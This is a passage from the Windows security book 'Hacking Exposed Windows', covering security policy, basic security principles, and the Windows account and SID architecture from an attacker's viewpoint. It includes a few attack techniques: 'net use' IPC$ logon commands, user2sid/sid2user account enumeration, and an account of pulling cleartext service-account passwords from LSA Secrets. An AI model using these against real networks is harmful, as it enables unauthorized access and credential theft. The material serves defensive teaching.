\nlevels of the organization to ensure that it gets widespread buy-in and that it will be \nperceived as a reasonable and practical mechanism for improving organizational security \nposture (and thus the bottom line). This will greatly enhance its potential for becoming \npart of the culture rather than some bolt-on process that everybody mocks (think TPS \nreports from the movie Office Space).\nMulti-tiered Approach Draft the actual policy as a high-level statement of guiding \nprinciples and intent, and then create detailed implementation standards and operational \nprocedures that support the policy mandates. This multi-tiered, hierarchical approach \ncreates modularity that eases maintenance of the policy in the long term by providing \nflexibility to change implementation details without requiring a full policy review and \nchange cycle.\nProcess for Exceptions, Change The only constant is change, and that goes for security \npolicies, too. Expect that your organization will make policy exception requests and will \nwant to change the policy at regular intervals. You will need to create a process by which \nthis is accomplished. We recommend at least annual reviews and also a special process \nfor exceptions and emergency changes. You can make these processes as cumbersome as \nyou’d like to discourage frequent exception requests and/or changes to the policy \n(grin).\n" }, { "page_number": 36, "text": "8 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nAwareness We’ll talk about training and education in the next section of this chapter \nwhen we talk about the Prevent phase of the security wheel, but making sure that \neveryone in an organization is aware of the policy and understands its basic tenets is \ncritical. We have also found that performing regular awareness training for all staff \ntypically generates great practical feedback, leading to a stronger security program over \nthe long term.\nWith a policy defined and implemented, we can continue on around the security \nwheel defined in Figure 1-1.\nPrevent\nThe necessity for several preventive controls will likely become obvious during the risk \nassessment and policy development process. This book will list specific technical \ncountermeasures to all of the attacks we discuss, but what sort of broader proactive \nmeasures should be in place to mitigate risks, enforce security policy, deter attackers, \nand promote good security hygiene? Consider the following items:\n• Education and training\n• Communications\n• Security operations\n• Security architecture\nEducation and training are the most obvious ways to scale a security effort across an \norganization. Communications can assist this effort by scheduling regular updates for \nline staff and senior management as well as keeping the information flowing between \nthe rest of the organization and the security group. (Remember that no security exists in \na vacuum.)\nSecurity operations include general security housekeeping, such as security patch \nmanagement, malware protection, access control (both physical and logical), network \ningress/egress control, security monitoring and response, and security account/group \nmanagement. We will touch on best practices throughout all of these areas in this book.\nFinally, and perhaps most importantly, some part of the security organization needs \nto adopt a proactive, forward-looking view. The work of a security architect is particularly \nrelevant to application development, which must follow strict standards and guidelines \nto avoid perpetuating the many mistakes that unavoidably occur in the software \ndevelopment process. In addition, this role can perform regular evaluations of physical, \nnetwork, and platform security architecture, benchmarking them against evolving \nstandards and technologies to ensure that the organization is keeping pace with the most \nrecent security advancements.\nDetect\nA policy document is great, but what good is a policy if you can’t figure out whether \nanyone is following it? Much of the material in this book focuses on the Detect part of the \nsecurity wheel, since finding and identifying security vulnerabilities is a critical part of \n" }, { "page_number": 37, "text": "Chapter 1: Information Security Basics \n9\ndetecting violations of security policy. Other processes that fall into the Detect sphere \ninclude the following:\n• Automated vulnerability scanning\n• Security event and information management (SEIM)\n• Intrusion detection systems (IDS)\n• Anomaly detection systems (ADS)\n• Security audits (including penetration testing)\nThis is not a book on the art of intrusion detection or forensic analysis, but we do \nmake several recommendations for Windows configuration settings throughout this \nbook that will enable a strong detective controls regime. Don’t forget to review the logs \nyou keep in a timely fashion—there’s no point in keeping them, otherwise.\nRespond\nContinuing around the security wheel, we arrive at Respond. Assuming that a security \nvulnerability—or, egads, an actual breach—is identified in the Detect phase, the next \nstep is to analyze and act (possibly quite quickly!). Some of the key elements of the \nRespond portion of the security lifecycle include the following:\n• Incident response (IR)\n• Remediation\n• Audit resolution\n• Recovery\nWe’ll talk in detail about vulnerability remediation, resolution, and recovery in the \ncourse of describing how to avoid getting hacked. We will not spend much time discussing \nwhat to do in case you do get successfully attacked, however, which is the discipline of \nsecurity incident response (IR). IR describes many critical procedures that should be \nfollowed immediately after a security incident occurs to stem the damage, and these \nprocedures should be in place in advance. We also do not cover business continuity \nplanning and disaster recovery (BCP/DR) issues in this book. We have listed some \nrecommended references on these topics in the “References and Further Reading” section \nat the end of this chapter.\nRinse and Repeat\nBefore we close our brief discussion of the Plan, Prevent, Detect, Respond security \nframework, we’ll again highlight the cyclic nature of the model. Regular analyses of \ninformation gathered during the Detect phase and from post-mortems of Response \nactivities should be gathered and collated, and relevant learning should then be driven \nback into the next turn through the security lifecycle, beginning with Plan. Any \norganization that doesn’t learn from history is doomed to repeat it, and thus it is most \n" }, { "page_number": 38, "text": "10 \nHacking Exposed Windows: Windows Security Secrets & Solutions \ncritical to invest in this aspect of the security lifecycle. It’s also a great idea to involve key \nbusiness stakeholders in this process, since strategic business initiatives are likely to have \na large impact on where investments in information security should be made in the \nupcoming budget.\nFor the remainder of this chapter, we outline some basic security principles on which \nto base your policy or to consider while you page through the rest of this book.\nBASIC SECURITY PRINCIPLES\nWe’ve assembled the following principles during our combined years of security \nassessment consulting against all varieties of networks, systems, and technologies. We \ndo not claim to have originated any of these; they are derived from our observation and \ndiscussion of security at large organizations as well as statements of others that we’ve \ncollected over the years. Some of these principles overlap with specific recommendations \nwe make in this book, but some do not. In fact, we may violate some of these principles \noccasionally to illustrate the consequences of bad behavior—so do as we say, not as we \ndo! Remember that security is not a purely technical solution, but rather a combination \nof technical measures and processes that are uniquely tailored to your environment. In \nhis online newsletter, security expert Bruce Schneier perhaps stated this most eloquently: \n“Security is a process, not a product.”\nHold Everyone Accountable for Security\nLet’s face it, the number of thoughtful security experts in the world is not going to scale \nto cover all of the activities that occur on a daily basis. Distribute accountability for \nsecurity across your organization so that it is manageable. We love the following tagline \nborrowed from the security group at a large biotechnology firm: “People are the ultimate \nintrusion detection system.”\nBlock or Disable Everything that Is Not Explicitly Allowed\nWe will repeat this mantra time and again in this book. With some very obscure exceptions, \nno known methods exist for attacking a system remotely with no running services. Thus, \nif you block access to or disable services outright, you cannot be attacked.\nThis is small consolation for those services that are permitted, of course—for example, \napplication services such as Internet Information Services (IIS) that are necessary to run \na web application. If you need to allow access to a service, make sure you have secured \nit according to best practices.\nSince they are most always unique, applications themselves must be secured with \ngood ol’ fashioned design and implementation best practices, such as Microsoft’s Security \nDevelopment Lifecycle (SDL) framework. (See “References and Further Reading.”)\n" }, { "page_number": 39, "text": "Chapter 1: Information Security Basics \n11\nAlways Set a Password, Make It Reasonably Complex, \nand Change It Often\nPasswords are the bane of the security world—they are the primary form of authentication \nfor just about every product in existence, Windows included. Weak passwords are the \nprimary way in which we defeat Windows networks in professional penetration testing \nengagements. Always set a password (never leave it blank), and make sure it’s not easily \nguessed. (See Chapter 5 for some Windows-specific tips.) Use multifactor authentication \nif feasible. (Modern versions of Windows are fairly easy to integrate with smart cards, for \nexample.)\nKeep Up with Vendor Patches—Religiously\nAnybody who has worked in software development knows that accidents happen. When \na bug is discovered in a Microsoft product, however, the rush to gain fame and popularity \ntypically results in a published exploit within mere hours. This means you have a \ncontinually shrinking window of time to apply patches from Microsoft before someone \ncomes knocking on your door trying to exploit the hole. As you will see from the severity \nof some of these issues described in this book, the price of not keeping up with patches \nis complete and utter remote system compromise.\nAuthorize All Access Using Least Privilege\nThis concept is the one most infrequently grasped by our consulting clientele, but it’s the \none that we exploit to the greatest effect on their networks. Authorization (which occurs \nafter authentication, or login) is the last major mechanism that protects sensitive resources \nfrom access by underprivileged users. Guessing a weak password is bad enough, but \nthings get a lot worse when we discover that the lowly user account we just compromised \ncan mount a share containing sensitive corporate financial data. Yes, it requires a lot of \nelbow grease to inventory all the resources in your IT environment and assign appropriate \naccess control, but if you don’t do it, you will only be as strong as your weakest \nauthentication link—back to that one user with the lame password.\nThe modern (post–16 bit) Windows authorization architecture isn’t your best friend \nin this department. It is primarily centered around access control lists (ACLs) applied \nacross millions of individual objects within the operating system (from files, to Registry \nkeys, to programmatic structures such as named pipes), the net intersection of which is \npoorly understood even by Microsoft itself (or so it seems sometimes). We will discuss \nrelevant tactical ACL settings throughout this book, but we forewarn you that creating a \ncomprehensive, heterogeneous, distributed authorization policy using Windows today \ncan be daunting. Keep it simple in design, and stick to time-honored principles (such as \nrole-based access control, or RBAC).\n" }, { "page_number": 40, "text": "12 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nLimit Trust\nNo system is an island, especially with Windows. One of the most effective attacks we \nuse against Windows networks is the exploitation of an unimportant domain member \ncomputer with a weak local administrator password. Then, by using techniques discussed \nin Chapter 6, we extract the credentials for a valid domain user from this computer, \nwhich allows us to gain a foothold on the entire domain infrastructure and possibly \ndomains that trust the current one. Recognize that every trust relationship you set up, \nwhether it be a formal Windows domain trust or simply a password stored in a batch file \non a remote computer, expands the security periphery and increases your risks.\nA corollary of this rule is that password reuse should be explicitly banned. We can’t \ncount the number of times we’ve knocked over a single Windows system, cracked \npasswords for a handful of accounts, and discovered that these credentials enabled us to \naccess just about every other system on the network (phone system switches, UNIX \ndatabase servers, mainframe terminals, web applications—you name it).\nBe Particularly Paranoid with External Interfaces\nThe total number of potential vulnerabilities on a network can seem staggering, but you \nmust learn to focus on those that present the most risk. These are often related to systems \nthat face public networks, such as web servers and so on. Front-facing systems (as we’ll call \nthem) should be held to a higher standard of accountability than internal systems, because \nthe risks that they face are greater. Remember that the public-switched telephone network \nis a front-facing interface as well. (See Hacking Exposed, Fifth Edition, Chapter 6, for \nrecommendations on dial-up and VoIP security, which we will not treat in this book.)\nPractice Defense in Depth\nOverall security should not be reliant upon a single defense mechanism. If an outer \nsecurity perimeter is penetrated, underlying layers should be available to resist the \nattack. The corollary to this principle is compartmentalization—if one compartment is \ncompromised, it should be equally difficult for an intruder to obtain access to each \nsubsequent compartment.\nFail Secure\nWhen a system’s confidentiality, integrity, availability, or accountability is compromised, \nthe system should fail to a secure state (that is, it should become nonfunctional).\nPractice Defense Through Simplicity\nA simple system is more easily secured than a complex system, as simplicity means a \nreduced chance for errors or flaws. A corollary of this principle is the concept of dedicated\nfunction or modularity: systems or components of systems should be single-purposed \nto avoid potential conflicts or redundancies that could result in security exposures. \n" }, { "page_number": 41, "text": "Chapter 1: Information Security Basics \n13\nBe prepared to defend this principle against the potential costs of maintaining single-\npurposed systems. (One classic argument we’ve had over the years is whether it’s wise \nto install Windows IIS and SQL Server on the same machine; we’ll leave the resolution of \nthis discussion as an exercise for the reader.)\nThere Is No Perfect Solution—Risk Management Is the Key\nDon’t let paranoia disrupt business goals (and vice versa). Many of the specific \nrecommendations we make in this book are fairly restrictive. That’s our nature—we’ve \nseen the damage less restrictive policies can do. However, these are still just \nrecommendations. We recognize the technical and political realities you will face in \nattempting to implement these recommendations. The goal of this book is to arm you \nwith the right information to make a persuasive case for the more restrictive stance, \nknowing that you may not win all the arguments. Pick your battles, and win the ones \nthat matter.\nRealize that Technology Will Not Protect You from Social Attacks\nThis book is targeted mainly at technology-driven attacks—software exploits that require \na computer and technical skills to implement. However, some of the most damaging \nattacks we have seen and heard of do not involve technology at all. So-called social\nengineering uses human-to-human trickery and misdirection to gain unauthorized access \nto data. The information in this book can protect you only at the level of bits and bytes—\nit will not protect you from social attacks that circumvent those bits and bytes entirely. \nEducate yourself about common social engineering tactics like phishing (see Hacking\nExposed, Fifth Edition, Chapter 13), and educate your organization through good \ncommunication and training.\nLearn Your Platforms and Applications Better than the Enemy\nThis book is designed to convey a holistic view of Windows security, not just a “script-\nkiddie” checklist of configuration settings that will render you bulletproof. We hope that \nby the end of the book you will have a greater appreciation of the Windows security \narchitecture, where it breaks down, and best practices to mitigate the risk when it does. \nWe also hope these practices will prove timeless and will prepare you for whatever is \ncoming down the pike in the next version of Windows, as well as from the hacking \ncommunity.\nSUMMARY\nBy following the best practices outlined in this chapter, you will have laid a solid \nfoundation for information system security in your organization. For the rest of this \nbook, we will move on to the specifics of Windows and the unique challenges it presents \nto those who wish to keep it secure.\n" }, { "page_number": 42, "text": "14 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nREFERENCES AND FURTHER READING\nReference\nLocation\nBugtraq\nwww.securityfocus.com\nOperationally Critical Threat, \nAsset, and Vulnerability Evaluation \n(OCTAVE)\nwww.cert.org/octave/\nThreat modeling resources from \nMicrosoft\nhttp://msdn2.microsoft.com/en-us/security/\naa570411.aspx\nAttack trees\nwww.schneier.com/paper-attacktrees-ddj-ft.html\nSecurity Development Lifecycle \n(SDL)\nwww.microsoft.com/mspress/books/8753.aspx\nMicrosoft’s DREAD rating system\nhttp://msdn2.microsoft.com/en-gb/library/\naa302419.aspx\nCommon Vulnerability Scoring \nSystem (CVSS)\nwww.fi rst.org/cvss/\nISO 17799 Community Forum\nwww.17799.com/\nISO 27001\nhttp://en.wikipedia.org/wiki/ISO_27001\nControl Objectives for Information \nand related Technology (COBIT)\nwww.itgi.org/\nThe Committee of Sponsoring \nOrganizations of the Treadway \nCommission (COSO)\nwww.coso.org/\nThe IT Infrastructure Library (ITIL)\nwww.best-management-practice.com/IT-Service-\nManagement-ITIL/\n“Understanding Regulatory \nCompliance” on Microsoft TechNet\nwww.microsoft.com/technet/technetmag/\nissues/2006/09/BusinessofIT/default.aspx\nPayment Card Industry Data \nSecurity Standard (PCI DSS)\nwww.pcisecuritystandards.org/\nInformation Security Policies Made \nEasy, by Charles Cresson Woods\nwww.informationshield.com/ispmemain.htm\nRFCs 2196 and 2504, Site Security \nHandbook and User Handbook\n www.rfc-editor.org\nIncident Response & Computer \nForensics, 2nd Edition\nby Kevin Mandia, Chris Prosise, and Matt Pepe. \nMcGraw-Hill/Osborne (2003)\nBruce Schneier’s “Computer \nSecurity: Will We Ever Learn?” \n(May 15, 2000)\nwww.schneier.com/crypto-gram-0005.html\n" }, { "page_number": 43, "text": "15\n2\nThe Windows \nSecurity \nArchitecture \nfrom the Hacker’s \nPerspective\n" }, { "page_number": 44, "text": "16 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nB\nefore we get cracking (pardon the pun) on Windows, it’s important that you \nunderstand at least some of the basic security architecture of the product. This \nchapter is designed to lay just such a foundation. It is targeted mainly at those who \nmay not be intimately familiar with some of the basic security functionality of Windows, \nso you old pros in the audience are advised to skip this discussion and dig right into the \nmeat of Chapter 3.\nThis is not intended to be an exhaustive, in-depth discussion of the Windows security \narchitecture. Several good references for this topic can be found in the section “References \nand Further Reading” at the end of the chapter. In addition, we strongly recommend that \nyou read Chapter 12 for a detailed discussion of specific security features in Windows \nthat can be used to counteract many of the attacks discussed throughout this book.\nOur focus in this chapter is to give you just enough information to enable you to \nunderstand the primary goal of Windows attackers:\nTo execute commands in the most privileged context, in order to gain access to resources \nand data.\nLet’s start by introducing some of the critical concepts necessary to flesh out this \nstatement.\nUnless otherwise specified, all references to Windows in this chapter refer to Microsoft’s \nWindows NT family of operating systems, including Windows Server 2008, Vista, Server 2003, XP, \n2000, and NT.\nOVERVIEW\nIt’s difficult to describe something as complex as Windows in a few short paragraphs, \nand we’re not even going to try here. Instead, we’re going to provide a somewhat \noversimplified description of the Windows security architecture, paying close attention \nto points that have been attacked in the past.\nPerhaps the most obvious initial observation to make about the Windows architecture \nis that it is two-tiered. The most privileged tier of operating system code runs in so-called \nkernel mode and has effectively unrestricted access to system resources. User mode\nfunctionality has much more restricted access and must request services from the kernel \nin many instances to complete certain tasks, such as accessing hardware resources, \nauthenticating users, and modifying the system.\nBased on this simple separation, we can contemplate two basic attack methodologies: \nattack the kernel, or attack user mode. These two basic approaches are illustrated in \nFigure 2-1, which shows a malicious hacker accessing the kernel via physical device/\nmedia interface, and also attacking a user mode security context by compromising the \ncredentials of a valid system user. (Note that the attacker may then also compromise the \nkernel if he or she hacks an administrative user context.) Let’s explore both of these \napproaches in more detail.\n" }, { "page_number": 45, "text": "Chapter 2: The Windows Security Architecture from the Hacker’s Perspective \n17\nAttacking the Kernel\nThe kernel mode interface is an obviously attractive boundary that attackers have \nhistorically sought to cross. If someone can insert code of their choosing into kernel \nmode, the system is utterly compromised (as you will see in Chapters 6 and 8). As you \nmight imagine, Windows provides substantial barriers to running arbitrary code in \nkernel mode, and it is generally quite difficult for low-privileged entities to do so.\nOf course, there are always exceptions. Two primary classes of kernel mode \ncompromises can occur:\n• Physical attacks against kernel-resident device drivers that parse raw input, \nsuch as from network connections or inserted media. The wireless networking \nattacks published by Johnny Cache and others and the Sony CD-ROM rootkit \nincident are examples of each of these, respectively (see “References and \nFurther Reading”).\nFigure 2-1 Attacking Windows security using both kernel and user mode approaches\n" }, { "page_number": 46, "text": "18 \nHacking Exposed Windows: Windows Security Secrets & Solutions \n• Logical attacks against critical operating system structures that provide access to \nkernel mode. These structures include certain protected kernel images (such as \nntoskrnl.exe, hal.dll, and ndis.sys), the Global Descriptor Table (GDT) and the \nInterrupt Descriptor Table (IDT), the System Service Descriptor Table (SSDT), \ncertain critical processor–model-specifi c registers (MSRs), and some internal \nroutines that are used for debugging purposes by the kernel.\nStarting with Vista 64-bit versions, Microsoft implemented a protection system called PatchGuard to \nattempt to protect each of these logical kernel entry points. See this chapter’s “References and Further \nReading” section for published methods to bypass PatchGuard. Microsoft also implemented mandatory \nkernel driver signing and hardware Data Execution Prevention (DEP) in 64-bit versions.\nAttacks against the kernel typically require great sophistication and are not common. \nOf course, once an attack is conceived and implemented, prepackaged exploits written \nby sophisticated attackers and distributed widely via the Internet can raise the prevalence\nof such attacks significantly. Another mitigating factor is that the “logical” flavor of \nkernel attacks typically requires substantial user privileges on the system. Which brings \nus to our second attack methodology, and the one on which we will spend most of our \ntime in this book.\nAttacking User Mode\nAs illustrated in Figure 2-1, attacking the kernel is equivalent to attacking the walls of the \nWindows castle. Most attacks against the operating system have historically taken a \nmore obvious and potentially easier route, via the doors and windows.\nUser mode code serves effectively as the door and window into resources and data \non the system. Obviously, this code must be able to access resources and data, or the \noperating system would offer a pretty poor user experience. Thus, if you can authenticate \nto Windows as an authorized user, you will have access to all the resources and data \nrelevant to that user. Furthermore, if you are lucky enough to authenticate as an \nadministrative user, you will likely have access to the resources and data for all the users \non the system. The access control gatekeeper for user mode data and resources is the \nLocal Security Authority (LSA), a protected subsystem that works across user and kernel \nmode to authenticate users, authorize access to resources, enforce security policy, and \nmanage security audit events.\nThe LSA is implemented in a process called the Local Security Authority Subsystem Service, or \nlsass.exe.\nAssuming compromise via the kernel has been avoided, the LSA subsystem is the \nprimary security gateway into Windows. The rest of this chapter will focus on how it \nvalidates access to objects, checks user privileges, and generates audit messages. Unless \notherwise noted, all discussion will assume user mode scenarios.\n" }, { "page_number": 47, "text": "Chapter 2: The Windows Security Architecture from the Hacker’s Perspective \n19\nACCESS CONTROL OVERVIEW\nThe security subsystem is the primary gatekeeper through which subjects access objects\nwithin the Windows operating system. We use the terms subjects generically here to \ndescribe any entity that performs some action, and objects to mean the recipient of that \naction. In Windows, subjects are processes (associated with access tokens), and objects are \nsecurable objects (associated with security descriptors).\nProcesses are the worker bees of computing. They perform all useful work (together \nwith subprocess constructs called threads). Securable objects are the things that get acted \nupon. Within Windows are many types of securable objects: files, directories, named \npipes, services, Registry keys, printers, networks shares, and so on.\nWhen a user logs on to Windows (that is, authenticates), the operating system creates \nan access token containing security identifiers (SIDs) correlated with the user’s account \nand any group accounts to which the user belongs. The token also contains a list of the \nprivileges held by the user or the user’s groups. We’ll talk in more detail about SIDs and \nprivileges later in this chapter. The access token is associated with every process created \nby the user on the system.\nWhen a securable object is created, a security descriptor is assigned that contains a \ndiscretionary access control list (DACL, sometimes generalized as ACL) that identifies which \nuser and group SIDs may access the object, and how (read, write, execute, and so on).\nTo perform access control, the Windows security subsystem simply compares the \nSIDs in the subject’s token to the SIDs in the object’s ACL. If a match is found, access is \npermitted; otherwise, it is denied.\nThe remainder of this chapter will take a more detailed look at subjects, since they are \nthe only way to access objects (absent kernel-mode control, again). For further information \non securable objects, see “References and Further Reading.”\nSECURITY PRINCIPALS\nAs we noted earlier, the fundamental subject within Windows is the process. We also \nnoted that processes must be associated with a user account in order to access securable \nobjects. This section will explore the various account types in Windows, since they are \nthe foundation for most attacks against access control.\nWindows offers three types of fundamental accounts, called security principals:\n• Users\n• Groups\n• Computers\nWe’ll discuss each of these in more detail shortly, just after we take a brief detour to \ndiscuss SIDs.\nWith the advent of service-specific SIDs in Vista (see “Service Hardening” in Chapter 12), you might \nsay that services could now also be considered principals, although Microsoft has not formally \nchanged its terminology.\n" }, { "page_number": 48, "text": "20 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nSIDs\nIn Windows, security principals generally have friendly names, such as Administrator or \nDomain Admins. However, the NT family manipulates these objects internally using a \nglobally unique 48-bit number called a security identifier, or SID. This prevents the system \nfrom confusing the local Administrator account from Computer A with the identically \nnamed local Administrator account from Computer B, for example.\nThe SID comprises several parts. Let’s take a look at a sample SID:\nS-1-5-21-1527495281-1310999511-3141325392-500\nA SID is prefixed with an S, and its various components are separated with hyphens. \nThe first value (in this example, 1) is the revision number, and the second is the identifier \nauthority value. Then four subauthority values (21 and the three long strings of numbers, \nin this example) and a relative identifier (RID—in this example, 500) make up the remainder \nof the SID.\nSIDs may appear complicated, but the important concept for you to understand is that \none part of the SID is unique to the installation or domain and another part is shared across \nall installations and domains (the RID). When Windows is installed, the local computer \ngenerates a random SID. Similarly, when a Windows domain is created, it is assigned a \nunique SID (we’ll define domains later in this chapter). Thus, for any Windows computer or \ndomain, the subauthority values will always be unique (unless purposely tampered with \nor duplicated, as in the case of some low-level disk-duplication techniques).\nHowever, the RID is a consistent value across all computers or domains. For example, \na SID with RID 500 is always the true Administrator account on a local machine. RID 501 \nis the Guest account. On a domain, RIDs starting with 1001 indicate user accounts. (For \nexample, RID 1015 would be the fifteenth user account created in the domain.) Suffice to \nsay that renaming an account’s friendly name does nothing to its SID, so the account can \nalways be identified, no matter what. Renaming the true Administrator account changes \nonly the friendly name—the account is always identified by Windows (or a malicious \nhacker with appropriate tools) as the account with RID 500.\nWhy You Can’t Log on as Administrator Everywhere\nAs is obvious by now (we hope), the Administrator account on one computer is different \nfrom the Administrator account on another because they have different SIDs, and \nWindows can tell them apart, even if humans can’t. This feature can cause headaches for \nthe uninformed hacker.\nOccasionally in this book, we will encounter situations where logging on as \nAdministrator fails. Here’s an example:\nC:\\>net use \\\\192.168.234.44\\ipc$ password /u:Administrator\nSystem error 1326 has occurred.\nLogon failure: unknown user name or bad password.\n" }, { "page_number": 49, "text": "Chapter 2: The Windows Security Architecture from the Hacker’s Perspective \n21\nA hacker might be tempted to turn away at this point, without recalling that Windows \nautomatically passes the currently logged-on user’s credentials during network logon \nattempts. Thus, if the user were currently logged on as Administrator on the client, this \nlogon attempt would be interpreted as an attempt to log on to the remote system using \nthe local Administrator account from the client. Of course, this account has no context on \nthe remote server. You can manually specify the logon context using the same net use\ncommand with the remote domain, computer name, or IP address prepended to the \nusername with a backslash, like so:\nC:\\>net use \\\\192.168.234.44\\ipc$ password /u:domain\\Administrator\nThe command completed successfully.\nObviously, you should prepend the remote computer name or IP address if the \nsystem to which you are connecting is not a member of a domain. Remembering this \nlittle trick will come in handy when we discuss remote shells in Chapter 7; the technique \nwe use to spawn such remote shells often results in a shell running in the context of the \nSYSTEM account. Executing net use commands within the LocalSystem context cannot \nbe interpreted by remote servers, so you almost always have to specify the domain or \ncomputer name, as shown in the previous example.\nViewing SIDs with user2sid/sid2user\nYou can use the user2sid tool from Evgenii Rudnyi to extract SIDs. Here is user2sid being \nrun against the local machine:\nC:\\>user2sid \\\\caesars Administrator\nS-1-5-21-1507001333-1204550764-1011284298-500\nNumber of subauthorities is 5\nDomain is CORP\nLength of SID in memory is 28 bytes\nType of SID is SidTypeUser\nThe sid2user tool performs the reverse operation, extracting a username given a SID. \nHere’s an example using the SID extracted in the previous example:\nC:\\>sid2user \\\\caesars 5 21 1507001333 1204550764 1011284298-500\nName is Administrator\nDomain is CORP\nType of SID is SidTypeUser\nNote that the SID must be entered starting at the identifier authority number (which is \nalways5 in the case of Windows Server 2003), and spaces are used to separate components, \nrather than hyphens.\n" }, { "page_number": 50, "text": "22 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nAs we will discuss in Chapter 4, this information can be extracted over an unauthenticated session \nfrom a Windows system running SMB services in certain legacy configurations.\nUsers\nAnyone with even a passing familiarity with Windows has encountered the concept of \nuser accounts. We use accounts to log on to the system and to access resources on the \nsystem and the network. Few have considered what an account really represents, \nhowever, which is one of the most common security failings on most networks.\nQuite simply, an account is a reference context in which the operating system executes \ncode. Put another way, all user mode code executes in the context of a user account. Even some \ncode that runs automatically before anyone logs on (such as services) runs in the context \nof an account (often as the special and all-powerful SYSTEM, or LocalSystem, account).\nAll commands invoked by the user who successfully authenticates using the account \ncredentials are run with the privileges of that user. Thus, the actions performed by \nexecuting code are limited only by the privileges granted to the account that executes it. \nThe goal of the malicious hacker is to run code with the highest possible privileges. Thus, \nthe hacker must “become” the account with the highest possible privileges.\nUsers—physical human beings—are distinct from user accounts—digital manifestations that are \neasily spoofed given knowledge of the proper credentials. Although we may unintentionally blur the \ndistinction in this book, keep this in mind.\nBuilt-ins\nWindows comes out of the box with built-in accounts that have predefined privileges. \nThese default accounts include the local Administrator account, which is the most \npowerful user account in Windows. (Actually, the SYSTEM account is technically the \nmost privileged, but Administrator can execute commands as SYSTEM quite readily \nusing the Scheduler Service to launch a command shell, for example.) Table 2-1 lists the \ndefault built-in accounts on various versions of Windows.\nNote a few caveats about Table 2-1:\n• On domain controllers, some security principals are not visible in the default \nActive Directory Users and Computers interface unless you choose View | \nAdvanced Features.\n• Versions of Windows including XP and later “hide” the local Administrator \naccount by default, but it’s still there.\n• Some of the accounts listed in Table 2-1 are not created unless specifi c server \nroles have been confi gured; for example, Application Server (IIS).\n• The group Guests, the user accounts Guest, and Support_388945a0 are assigned \nunique SIDs corresponding to the domains in which they reside.\n" }, { "page_number": 51, "text": "Chapter 2: The Windows Security Architecture from the Hacker’s Perspective \n23\nService Accounts\nService account is an unofficial term used to describe a Windows user account that \nlaunches and runs a service non-interactively (a more traditional computing term is batch\naccounts). Service accounts are typically not used by human beings for interactive logon, \nbut are used to start up and run automated routines that provide certain functionality to \nthe operating system on a continuous basis. For example, the Indexing service, which \nindexes contents and properties of files on local and remote computers, and is located in \n%systemroot%\\System32\\cisvc.exe, can be configured to start up at boot time using the \nServices control panel. For this executable to run, it must authenticate to the operating \nsystem. For example, the Indexing service authenticates and runs as the LocalSystem \naccount on Windows Server 2003 in its out-of-the-box configuration.\nThe advent of service-specific SIDs in Vista permits the Service Control Manager (SCM) to assign \nSIDs to service processes when they start, which improves the granularity of access control over the \nsimple account-based model (although accounts are still used).\nAccount Name\nComment\nSYSTEM or \nLocalSystem\nAll-powerful on the local machine; typically not \nvisible in common user interface tools; SID S-1-5-18\nAdministrator\nEssentially all-powerful on the local machine; may be \nrenamed and cannot be deleted\nGuest\nLimited privileges; disabled by default\nSUPPORT_388945a0\nNew in Windows XP and Server 2003, may be used to \nprovide remote support via Help and Support Center; \ndisabled by default\nIUSR_machinename\n(abbreviated IUSR)\nIf IIS is installed, used for anonymous access to IIS; \nmember of Guests group\nIWAM_machinename\n(abbreviated IWAM)\nIf IIS is installed, IIS applications run as this account; \nmember of IIS_WPG group\nkrbtgt\nKerberos Key Distribution Center Service Account; \nfound only on domain controllers, and disabled by \ndefault\nTSInternetUser\nWhen Terminal Services Internet Connector Licensing \nis enabled, account is used to impersonate remote \nusers automatically (Windows 2000 only)\nTable 2-1 The Windows Built-in Accounts\n" }, { "page_number": 52, "text": "24 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nService accounts are a necessary evil in Windows. Because all code must execute in \nthe context of an account, they can’t be avoided. Unfortunately, because they are \ndesigned to authenticate in an automated fashion, the passwords for these accounts \nmust be provided to the system without human interaction. In fact, Microsoft designed \nthe Windows NT family to cache passwords for service accounts on the local system. \nThis was done for the simple convenience that many services need to start up before the \nnetwork is available (at boot time), and thus could not be authenticated to domain \ncontrollers. By caching the passwords locally, this situation is avoided. Here’s the \nkicker:\nNon-SYSTEM service account passwords are stored in cleartext in a portion of the Registry \ncalled the LSA Secrets, which is accessible only to LocalSystem.\nWe highlighted this sentence because it leads to one of the major security failings of the \nWindows OS: If a malicious hacker can compromise a Windows NT family system with \nAdministrator-equivalent privileges, he or she can extract the cleartext passwords for \nservice accounts on that machine.\n“Yippee,” you might be saying, if you’re already Administrator-equivalent on the \nmachine; “What additional use are the service accounts?” Here’s where things get \nsticky: Service accounts can be domain accounts or even accounts from other trusted \ndomains. (See the section “Trusts” later in this chapter.) Thus, credentials from other \nsecurity domains can be exposed via this flaw. You’ll read more about how this is done \nin Chapter 7.\nWe strongly recommend that all service accounts be denied interactive logon rights using machine or \ndomain policy to prevent such credentials from being used interactively by a human intruder.\nService Hardening Services represent a large percentage of the overall attack surface in \nWindows because they are generally always on and run at high privilege. Largely because \nof this, Microsoft began taking steps to reduce the risk from running services in more \nrecent versions of the OS.\nOne of the first steps was to run services with least privilege, a long-accepted access \ncontrol principle. Beginning in Windows Server 2003, Microsoft created two new built-in \ngroups called Local Service and Network Service, and started running more services \nusing those lower privileged accounts rather than the all-powerful LocalSystem account. \n(We’ll talk more about Local and Network Service throughout this chapter.)\nIn Vista, Microsoft implemented Windows Service Hardening, which defined per-\nservice SIDs. This effectively made certain services behave like unique users (again, as \nopposed to the generic and highly privileged LocalSystem identity). Default Windows \naccess control settings could now be applied to resources in order to make them private \nto the service, preventing other services and users from accessing the resource. \n" }, { "page_number": 53, "text": "Chapter 2: The Windows Security Architecture from the Hacker’s Perspective \n25\nAdditional features included within Service Hardening in Vista include removal of \nunnecessary Windows privileges (such as the powerful debugging privilege), applying \na write-restricted access token to the service process to prevent writing to resources \nthat do not explicitly grant access to the Service SID, and linking Windows firewall \npolicy to the per-service SID to prevent unauthorized network access by the service. \nFor more information about Service Hardening, see “References and Further \nReading.”\nThe Bottom Line\nHere’s a summary of Windows accounts from the malicious hacker’s perspective:\nAdministrators and the SYSTEM account are the juiciest targets on a Windows system \nbecause they are the most powerful accounts. All other accounts have limited privileges \nrelative to Administrators and SYSTEM (one possible exception being service accounts). \nCompromise of Administrators or the SYSTEM account is thus almost always the \nultimate goal of an 